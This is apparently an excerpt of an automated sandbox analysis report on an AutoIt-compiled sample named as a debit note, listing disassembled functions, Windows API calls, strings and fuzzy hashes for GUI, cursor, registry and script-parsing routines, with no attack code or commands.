                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
                                          • Instruction ID: 878ae001d8650add2b069b622ec184fb54f95ec25c04ba16196e518284591b6f
                                          • Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
                                          • Instruction Fuzzy Hash: FBC19473D0A6B2068B36476D05582BFFE626E91B8131FC3D2CCD03F299C22AAD9595D4
                                          Function 0433C608 Relevance: .1, Instructions: 92COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1678168488.0000000004339000.00000040.00000020.00020000.00000000.sdmp, Offset: 04339000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_4339000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                          • Instruction ID: 8bd40da95ae6be70fba26c5eca02ad205326a4db04592df07b577726ba4c94a0
                                          • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                          • Instruction Fuzzy Hash: 3441C171D1051CEBCF48CFADC991AAEBBF2AF88201F548299D516AB345D730AB41DB80
                                          Function 0433C498 Relevance: .0, Instructions: 35COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1678168488.0000000004339000.00000040.00000020.00020000.00000000.sdmp, Offset: 04339000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_4339000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                          • Instruction ID: 00acc8b633ddc19cb4b2e1137cdf94ace8af41e6b20bbf4fbeda3f93d4ed546e
                                          • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                          • Instruction Fuzzy Hash: E2019D79A00209EFCB58DF98C5909AEF7B5FF88311F209699E809A7705D730AE41DB80
                                          Function 0433C4F8 Relevance: .0, Instructions: 35COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1678168488.0000000004339000.00000040.00000020.00020000.00000000.sdmp, Offset: 04339000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_4339000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                          • Instruction ID: 957bdc70214c54ad9f1a92bd64ac0bd32e00ad9e108f9118cb11a3526fa0efee
                                          • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                          • Instruction Fuzzy Hash: 88018079A00209EFDB44DF99C5909AEF7F5FB48211F209599D819A7701D730AE41DF80
                                          Function 0433AE98 Relevance: .0, Instructions: 6COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1678168488.0000000004339000.00000040.00000020.00020000.00000000.sdmp, Offset: 04339000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_4339000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                          • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                          • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                          • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                          Function 004594E9 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 490filewindowcomCOMMON
                                          Download Yara Rule
                                          APIs
                                          • DeleteObject.GDI32(?), ref: 0045953B
                                          • DeleteObject.GDI32(?), ref: 00459551
                                          • DestroyWindow.USER32(?), ref: 00459563
                                          • GetDesktopWindow.USER32 ref: 00459581
                                          • GetWindowRect.USER32(00000000), ref: 00459588
                                          • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 0045969E
                                          • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 004596AC
                                          • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,00000002,00000007,?,?,?,00000000,00000000), ref: 004596E8
                                          • GetClientRect.USER32(00000000,?), ref: 004596F8
                                          • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 0045973B
                                          • CreateFileW.KERNEL32(00000000,000001F4,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00459760
                                          • GetFileSize.KERNEL32(00000000,00000000), ref: 0045977B
                                          • GlobalAlloc.KERNEL32(00000002,00000000), ref: 00459786
                                          • GlobalLock.KERNEL32(00000000), ref: 0045978F
                                          • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0045979E
                                          • GlobalUnlock.KERNEL32(00000000), ref: 004597A5
                                          • CloseHandle.KERNEL32(00000000), ref: 004597AC
                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,000001F4), ref: 004597B9
                                          • OleLoadPicture.OLEAUT32(000001F4,00000000,00000000,004829F8,00000000), ref: 004597D0
                                          • GlobalFree.KERNEL32(00000000), ref: 004597E2
                                          • CopyImage.USER32(50000001,00000000,00000000,00000000,00002000), ref: 0045980E
                                          • SendMessageW.USER32(00000000,00000172,00000000,50000001), ref: 00459831
                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020), ref: 00459857
                                          • ShowWindow.USER32(?,00000004), ref: 00459865
                                          • CreateWindowExW.USER32(00000000,static,00000000,000001F4,50000001,0000000B,0000000B,?,?,?,00000000,00000000), ref: 004598AF
                                          • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004598C3
                                          • GetStockObject.GDI32(00000011), ref: 004598CD
                                          • SelectObject.GDI32(00000000,00000000), ref: 004598D5
                                          • GetTextFaceW.GDI32(00000000,00000040,?), ref: 004598E5
                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004598EE
                                          • DeleteDC.GDI32(00000000), ref: 004598F8
                                          • _wcslen.LIBCMT ref: 00459916
                                          • _wcscpy.LIBCMT ref: 0045993A
                                          • CreateFontW.GDI32(?,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004599DB
                                          • SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 004599EF
                                          • GetDC.USER32(00000000), ref: 004599FC
                                          • SelectObject.GDI32(00000000,?), ref: 00459A0C
                                          • SelectObject.GDI32(00000000,00000007), ref: 00459A37
                                          • ReleaseDC.USER32(00000000,00000000), ref: 00459A42
                                          • MoveWindow.USER32(00000000,0000000B,?,?,00000190,00000001), ref: 00459A5F
                                          • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00459A6D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                                          • String ID: $AutoIt v3$DISPLAY$static
                                          • API String ID: 4040870279-2373415609
                                          • Opcode ID: 6d6993f212ed0893db9275c3f84f169bec7eeddded5228c42ae13acbc858d7fb
                                          • Instruction ID: 0470743097681e939cd033c9659fc80dd101af82a4c7fdd8c03ae3a829a790b9
                                          • Opcode Fuzzy Hash: 6d6993f212ed0893db9275c3f84f169bec7eeddded5228c42ae13acbc858d7fb
                                          • Instruction Fuzzy Hash: 92027D71600204EFDB14DF64CD89FAE7BB9BB48305F108569FA05AB292D7B4ED05CB68
                                          Function 004417BF Relevance: 49.8, APIs: 33, Instructions: 275COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetSysColor.USER32(00000012), ref: 0044181E
                                          • SetTextColor.GDI32(?,?), ref: 00441826
                                          • GetSysColorBrush.USER32(0000000F), ref: 0044183D
                                          • GetSysColor.USER32(0000000F), ref: 00441849
                                          • SetBkColor.GDI32(?,?), ref: 00441864
                                          • SelectObject.GDI32(?,?), ref: 00441874
                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 004418AA
                                          • GetSysColor.USER32(00000010), ref: 004418B2
                                          • CreateSolidBrush.GDI32(00000000), ref: 004418B9
                                          • FrameRect.USER32(?,?,00000000), ref: 004418CA
                                          • DeleteObject.GDI32(?), ref: 004418D5
                                          • InflateRect.USER32(?,000000FE,000000FE), ref: 0044192F
                                          • FillRect.USER32(?,?,?), ref: 00441970
                                            • Part of subcall function 004308EF: GetSysColor.USER32(0000000E), ref: 00430913
                                            • Part of subcall function 004308EF: SetTextColor.GDI32(?,00000000), ref: 0043091B
                                            • Part of subcall function 004308EF: GetSysColorBrush.USER32(0000000F), ref: 0043094E
                                            • Part of subcall function 004308EF: GetSysColor.USER32(0000000F), ref: 00430959
                                            • Part of subcall function 004308EF: GetSysColor.USER32(00000011), ref: 00430979
                                            • Part of subcall function 004308EF: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0043098B
                                            • Part of subcall function 004308EF: SelectObject.GDI32(?,00000000), ref: 0043099C
                                            • Part of subcall function 004308EF: SetBkColor.GDI32(?,?), ref: 004309A6
                                            • Part of subcall function 004308EF: SelectObject.GDI32(?,?), ref: 004309B4
                                            • Part of subcall function 004308EF: InflateRect.USER32(?,000000FF,000000FF), ref: 004309D9
                                            • Part of subcall function 004308EF: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004309F4
                                            • Part of subcall function 004308EF: GetWindowLongW.USER32(?,000000F0), ref: 00430A09
                                            • Part of subcall function 004308EF: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00430A29
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Color$Rect$Object$BrushInflateSelect$CreateText$DeleteFillFrameLongMessageRoundSendSolidWindow
                                          • String ID:
                                          • API String ID: 69173610-0
                                          • Opcode ID: fbb8d870229eb44a1def9ba3881ac6b42e654f1da7cb1ff5097cb3e0d6ff825e
                                          • Instruction ID: 7a723b7ebc9985c742df47702d768576d0729d4f0beaa2415310c4eb73739e4f
                                          • Opcode Fuzzy Hash: fbb8d870229eb44a1def9ba3881ac6b42e654f1da7cb1ff5097cb3e0d6ff825e
                                          • Instruction Fuzzy Hash: 76B15BB1508301AFD304DF64DD88A6FB7F8FB88720F104A2DF996922A0D774E945CB66
                                          Function 004590BD Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 291windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • DestroyWindow.USER32(?), ref: 004590F2
                                          • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004591AF
                                          • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 004591EF
                                          • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00459200
                                          • CreateWindowExW.USER32(00000008,AutoIt v3,00000000,?,88C00000,?,?,?,00000001,?,00000000,00000000), ref: 00459242
                                          • GetClientRect.USER32(00000000,?), ref: 0045924E
                                          • CreateWindowExW.USER32(00000000,static,00000000,?,50000000,?,00000004,00000500,00000018,?,00000000,00000000), ref: 00459290
                                          • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004592A2
                                          • GetStockObject.GDI32(00000011), ref: 004592AC
                                          • SelectObject.GDI32(00000000,00000000), ref: 004592B4
                                          • GetTextFaceW.GDI32(00000000,00000040,?), ref: 004592C4
                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004592CD
                                          • DeleteDC.GDI32(00000000), ref: 004592D6
                                          • CreateFontW.GDI32(?,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 0045931C
                                          • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00459334
                                          • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,?,00000000,00000000,00000000), ref: 0045936E
                                          • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00459382
                                          • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00459393
                                          • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,?,00000000,00000000,00000000), ref: 004593C8
                                          • GetStockObject.GDI32(00000011), ref: 004593D3
                                          • SendMessageW.USER32(?,00000030,00000000), ref: 004593E3
                                          • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004593EE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                          • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                          • API String ID: 2910397461-517079104
                                          • Opcode ID: 7a94e82ab5e7eba8c21ff2ad013f2909889a905bd0bc04285d9267b4528ddb10
                                          • Instruction ID: c5562805fc82c6770b180505aab83e69ed0b4cba248239bed49a3b83ebf26fc7
                                          • Opcode Fuzzy Hash: 7a94e82ab5e7eba8c21ff2ad013f2909889a905bd0bc04285d9267b4528ddb10
                                          • Instruction Fuzzy Hash: 71A18371B40214BFEB14DF64CD8AFAE7769AB44711F208529FB05BB2D1D6B4AD00CB68
                                          Function 00403A20 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 238COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wcsnicmp
                                          • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                                          • API String ID: 1038674560-3360698832
                                          • Opcode ID: 23f0f58ea95d18462155f90075fe93dcb11182f556a84baaa607307f542fa917
                                          • Instruction ID: 9c7d50a5cd0ee83047e92bfb3361563e61671b380f2e7b4b5fccf758bfaba57c
                                          • Opcode Fuzzy Hash: 23f0f58ea95d18462155f90075fe93dcb11182f556a84baaa607307f542fa917
                                          • Instruction Fuzzy Hash: B5610670701621B7D711AE219C42FAF335C9F50705F50442BFE05AA286FB7DEE8686AE
                                          Function 00430737 Relevance: 43.6, APIs: 29, Instructions: 108COMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadCursorW.USER32(00000000,00007F89), ref: 00430754
                                          • SetCursor.USER32(00000000), ref: 0043075B
                                          • LoadCursorW.USER32(00000000,00007F8A), ref: 0043076C
                                          • SetCursor.USER32(00000000), ref: 00430773
                                          • LoadCursorW.USER32(00000000,00007F03), ref: 00430784
                                          • SetCursor.USER32(00000000), ref: 0043078B
                                          • LoadCursorW.USER32(00000000,00007F8B), ref: 0043079C
                                          • SetCursor.USER32(00000000), ref: 004307A3
                                          • LoadCursorW.USER32(00000000,00007F01), ref: 004307B4
                                          • SetCursor.USER32(00000000), ref: 004307BB
                                          • LoadCursorW.USER32(00000000,00007F88), ref: 004307CC
                                          • SetCursor.USER32(00000000), ref: 004307D3
                                          • LoadCursorW.USER32(00000000,00007F86), ref: 004307E4
                                          • SetCursor.USER32(00000000), ref: 004307EB
                                          • LoadCursorW.USER32(00000000,00007F83), ref: 004307FC
                                          • SetCursor.USER32(00000000), ref: 00430803
                                          • LoadCursorW.USER32(00000000,00007F85), ref: 00430814
                                          • SetCursor.USER32(00000000), ref: 0043081B
                                          • LoadCursorW.USER32(00000000,00007F82), ref: 0043082C
                                          • SetCursor.USER32(00000000), ref: 00430833
                                          • LoadCursorW.USER32(00000000,00007F84), ref: 00430844
                                          • SetCursor.USER32(00000000), ref: 0043084B
                                          • LoadCursorW.USER32(00000000,00007F04), ref: 0043085C
                                          • SetCursor.USER32(00000000), ref: 00430863
                                          • LoadCursorW.USER32(00000000,00007F02), ref: 00430874
                                          • SetCursor.USER32(00000000), ref: 0043087B
                                          • SetCursor.USER32(00000000), ref: 00430887
                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00430898
                                          • SetCursor.USER32(00000000), ref: 0043089F
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Cursor$Load
                                          • String ID:
                                          • API String ID: 1675784387-0
                                          • Opcode ID: c7473186da6a924b3206e1e01d9541ab2871430d40d1833d6e341d2f3415b8bd
                                          • Instruction ID: ada3a8d1d263842f4cf6b5ed80e179871947c4c62c163598e9ab22da256eac1d
                                          • Opcode Fuzzy Hash: c7473186da6a924b3206e1e01d9541ab2871430d40d1833d6e341d2f3415b8bd
                                          • Instruction Fuzzy Hash: AF3101729C8205B7EA546BE0BE1DF5D3618AB28727F004836F309B54D09AF551509B6D
                                          Function 004308EF Relevance: 42.2, APIs: 28, Instructions: 200windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetSysColor.USER32(0000000E), ref: 00430913
                                          • SetTextColor.GDI32(?,00000000), ref: 0043091B
                                          • GetSysColor.USER32(00000012), ref: 00430933
                                          • SetTextColor.GDI32(?,?), ref: 0043093B
                                          • GetSysColorBrush.USER32(0000000F), ref: 0043094E
                                          • GetSysColor.USER32(0000000F), ref: 00430959
                                          • CreateSolidBrush.GDI32(?), ref: 00430962
                                          • GetSysColor.USER32(00000011), ref: 00430979
                                          • CreatePen.GDI32(00000000,00000001,00743C00), ref: 0043098B
                                          • SelectObject.GDI32(?,00000000), ref: 0043099C
                                          • SetBkColor.GDI32(?,?), ref: 004309A6
                                          • SelectObject.GDI32(?,?), ref: 004309B4
                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 004309D9
                                          • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004309F4
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00430A09
                                          • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00430A29
                                          • GetWindowTextW.USER32(00000000,00000000,?), ref: 00430A5A
                                          • InflateRect.USER32(?,000000FD,000000FD), ref: 00430A86
                                          • DrawFocusRect.USER32(?,?), ref: 00430A91
                                          • GetSysColor.USER32(00000011), ref: 00430A9F
                                          • SetTextColor.GDI32(?,00000000), ref: 00430AA7
                                          • DrawTextW.USER32(?,?,000000FF,?,00000105), ref: 00430ABC
                                          • SelectObject.GDI32(?,?), ref: 00430AD0
                                          • DeleteObject.GDI32(00000105), ref: 00430ADC
                                          • SelectObject.GDI32(?,?), ref: 00430AE3
                                          • DeleteObject.GDI32(?), ref: 00430AE9
                                          • SetTextColor.GDI32(?,?), ref: 00430AF0
                                          • SetBkColor.GDI32(?,?), ref: 00430AFB
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                          • String ID:
                                          • API String ID: 1582027408-0
                                          • Opcode ID: 550e896c7567608c30fce12d6ed7134b72d55419159f0474b5285c649df46e98
                                          • Instruction ID: b12033eb3fa9204049de4d7caedd8dcf025edfa44633034d6aae7949f8ecba99
                                          • Opcode Fuzzy Hash: 550e896c7567608c30fce12d6ed7134b72d55419159f0474b5285c649df46e98
                                          • Instruction Fuzzy Hash: 6F713071900209BFDB04DFA8DD88EAEBBB9FF48710F104619F915A7290D774A941CFA8
                                          Function 0046B9D7 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 415registryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046BAE6
                                          • RegCreateKeyExW.ADVAPI32(?,?,00000000,00484EA8,00000000,?,00000000,?,?,?), ref: 0046BB40
                                          • RegCloseKey.ADVAPI32(?,00000001,00000000,00000000,00000000), ref: 0046BB8A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CloseConnectCreateRegistry
                                          • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                          • API String ID: 3217815495-966354055
                                          • Opcode ID: c70c32215588f8ec8bb03fc6aa478a266b625616447da64362da41b73b816162
                                          • Instruction ID: 14c723365299aea1e32a80c9e2d98689f85295d348ed372ee81e16963ac3f886
                                          • Opcode Fuzzy Hash: c70c32215588f8ec8bb03fc6aa478a266b625616447da64362da41b73b816162
                                          • Instruction Fuzzy Hash: BCE18171604200ABD710EF65C885F1BB7E8EF88704F14895EB949DB352D739ED41CBA9
                                          Function 004565B2 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 291windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCursorPos.USER32(?), ref: 004566AE
                                          • GetDesktopWindow.USER32 ref: 004566C3
                                          • GetWindowRect.USER32(00000000), ref: 004566CA
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00456722
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00456735
                                          • DestroyWindow.USER32(?), ref: 00456746
